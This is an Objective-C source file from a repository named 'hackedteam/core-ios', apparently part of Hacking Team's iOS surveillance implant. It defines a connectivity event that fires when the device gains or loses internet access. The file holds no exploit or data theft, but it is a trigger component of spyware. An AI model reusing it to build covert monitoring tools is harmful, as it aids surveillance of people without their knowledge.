hackedteam/core-ios

View on GitHub
core/Modules/RCSIEventConnectivity.m

Summary

Maintainability
Test Coverage
//
//  RCSIEventConnectivity.m
//  RCSIphone
//
//  Created by kiodo on 02/03/12.
//  Copyright 2012 HT srl. All rights reserved.
//

#import "RCSIEventConnectivity.h"
#import "Reachability.h"
#import "RCSICommon.h"

@implementation _i_EventConnectivity

- (id)init
{
  self = [super init];
  if (self) 
    {
      eventType = EVENT_CONNECTION;
    }
  
  return self;
}

- (BOOL)readyToTriggerStart
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  BOOL bRet = FALSE;
  
  Reachability *reachability   = [Reachability reachabilityForInternetConnection];
  NetworkStatus internetStatus = [reachability currentReachabilityStatus];
  
  if (internetStatus != NotReachable)
    bRet = TRUE;
    
  [pool release];
  
  return bRet;
}

- (BOOL)readyToTriggerEnd
{  
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  BOOL bRet = FALSE;
  
  Reachability *reachability   = [Reachability reachabilityForInternetConnection];
  NetworkStatus internetStatus = [reachability currentReachabilityStatus];
  
  if (internetStatus == NotReachable)
    bRet = TRUE;
  
  [pool release];
  
  return bRet;
}

@end